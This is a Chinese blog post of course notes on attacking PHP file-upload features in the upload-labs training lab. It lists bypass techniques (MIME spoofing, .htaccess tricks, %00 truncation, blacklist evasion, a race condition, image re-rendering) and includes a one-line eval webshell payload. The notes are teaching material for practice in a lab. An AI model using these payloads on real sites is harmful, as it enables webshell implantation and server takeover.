首页 > 编程语言 >文件上传一-WEB攻防-PHP应用&文件上传&函数缺陷&条件竞争&二次渲染&黑白名单&JS绕过9

文件上传一-WEB攻防-PHP应用&文件上传&函数缺陷&条件竞争&二次渲染&黑白名单&JS绕过9

时间:2024-03-23 12:58:51浏览次数:31  
标签:文件 解析 原生态 WEB docker PHP 上传

演示案例:

  • PHP-原生态-文件上传-前后端验证
  • PHP-原生态-文件上传-类型文件头验证
  • PHP-原生态-文件上传-后缀黑白名单验证
  • PHP-原生态-文件上传-解析配置&二次渲染
  • PHP-原生态-文件上传-逻辑缺陷&函数缺陷

#学习前必读:
1、课前一定要明白:
无文件解析安全问题上,格式解析是一对一的(不能jpg解析php)
换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析

2、文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!


#测试环境安装参考:
https://github.com/ffffffff0x/f8x
https://github.com/fuzzdb-project/fuzzdb
https://github.com/sqlsec/upload-labs-docker
0、下载上述资源
1、docker安装
f8x -d 或 f8x -docker
2、进入项目文件夹
cd upload-labs-docker
3、一键部署运行
docker-compose up -d

#upload-labs-docker知识点:
1、前端JS
如何判断是否是前端验证呢?
首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了

2、.htaccess
AddType application/x-httpd-php .png

3、MIME类型
Content-Type:image/png

4、文件头判断
GIF89a

5、黑名单-过滤不严
无递归,pphphp

6、黑名单-过滤不严
系统大小写敏感属性

7、低版本GET-%00截断
自动解码一次
/var/www/html/upload/x.php%00

8、低版本POST-%00截断
手工解码一次
../upload/x.php%00 二次解码

9、黑名单-过滤不严
php3

10、逻辑不严-条件竞争
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
上传不断发包
请求不断发包

11、二次渲染
先搞个正常图片,上传导出渲染后的图片
对比保留部分,在保留部分添加后门代码
最后利用提示的文件包含执行图片后门代码

11、函数缺陷
move_uploaded_file 1.php/.

12、代码审计-数组绕过
-----------------------------174283082921961
Content-Disposition: form-data; name="save_name[0]"

http://2.php/
-----------------------------174283082921961
Content-Disposition: form-data; name="save_name[2]"

gif

标签:文件,解析,原生态,WEB,docker,PHP,上传
From: https://blog.csdn.net/zyw268/article/details/136955113

相关文章

  • Pr软件支持什么视频格式?可以导入哪些格式的视频素材文件
    某些文件扩展名(如MOV、AVI和MXF)是指容器文件格式,而不是特定的音频、视频或图像数据格式。容器文件可以包含使用各种压缩和编码方案编码的数据。PremierePro可以导入这些容器文件,但是否能导入其中包含的数据,则取决于安装的编解码器(尤其是解码器)。支持的序列、静止图像......
  • SpringBoot读取配置文件@Value || @ConfigurationProperties
    @Value注解优点:简单易用:@Value注解非常简单,适用于读取单个属性或简单的配置。灵活性:可以在任何Spring管理的bean中使用@Value注解,包括普通的bean、控制器、服务等。缺点:缺乏类型安全性:@Value注解不提供类型安全性检查,如果配置值的类型不匹配,只有在运行时才能发......
  • Java随机读写文件
    目录1. 构造方法2.文件指针3.读写操作4.应用示例       文件输入输出流类(FileInputStream和FileOutputStream)实现了对磁盘文件的顺序读写,然而在实际的应用中,经常需要在文件的任意位置读或写数据,并且要求同时进行读和写操作。为此,Java还提供了一个功能更强大、......
  • 禁欲28天!一宅男居然肝出如此详细Web安全学习笔记,学妹看完直接抽搐了!
    1.1.Web技术演化1.1.1.简单网站1.1.1.1.静态页面Web技术在最初阶段,网站的主要内容是静态的,大多站点托管在ISP上,由文字和图片组成,制作和表现形式也是以表格为主。当时的用户行为也非常简单,基本只是浏览网页。1.1.1.2.多媒体阶段随着技术的不断发展,音频、视频、Flas......
  • windows校验下载文件的md5
    有时候我们在下载文件时会有md5校验,这个是用来校验我们下载的文件是否完整正确,防止文件被不法之徒篡改,那么怎样校验呢?今天我们就来看看校验的方法。比如在网页上,文件apache-maven-3.5.2-bin.zip的旁边会出现md5校验,apache-maven-3.5.2-bin.zip.md5,我们点击进去会显示这样一串字......
  • R语言--06文件读写read.table()、read.csv()
    1、读取-read.table()#文件读写部分#1.读取ex1.txtex1<-read.table("ex1.txt")ex3<-read.table("ex1.txt",header=T)看看有没有header的区别,以下是第一行代码的运行结果: 以下是第二行代码运行的结果:所以header=T的作用就是原本的文件已经给出了列名,不用重新再......
  • web CSS笔记
    CSS(CascadingStyleSheets)美化样式CSS通常称为CSS样式表或层叠样式表(级联样式表),主要用于设置HTML页面中的文本内容(字体、大小、对齐方式等)、图片的外形(宽高、边框样式、边距等)以及版面的布局等外观显示样式。CSS以HTML为基础,提供了丰富的功能,如字体、颜色、背景的控制及整......
  • 深度解析webpack5以及打包实践攻略,看完这篇带你玩转高级自定义打包
    1.webpack5对比webpack4做了哪些优化Webpack5对比Webpack4存在一些重要的优化。Webpack5在性能、构建速度、TreeShaking等方面都有所改进:性能改进:Webpack5在构建速度和性能方面有所提升。这主要是通过改进缓存策略、优化构建算法以及增强的持久化缓存等方式......
  • 文件包含漏洞
    文件包含  开发人员通常把可重复使用的函数单独写在一个文件,在使用某函数时直接调用此文件,这就是文件包含  通常会把包含的文件设置为变量来进行动态调用,导致客户端可以调用任意文件,造成文件包含漏洞 函数  php中有四个文件包含的函数,include,include_once,require,requi......
  • 固定常用文件夹到快速访问
    对windows系列系统,就是日常的效率工具,总有一些很常用,每每见过,似曾相识,又每每不得其法的小技巧,因不是主业,影响有亦可以忽略,少有深究的。win窗口左侧有一个快速访问栏,用来打开常用的文件夹很便捷,印象中好像拖文件夹过去就可以了,有每每实现不了,好像偶尔又莫名其妙的可以了的操作,就这......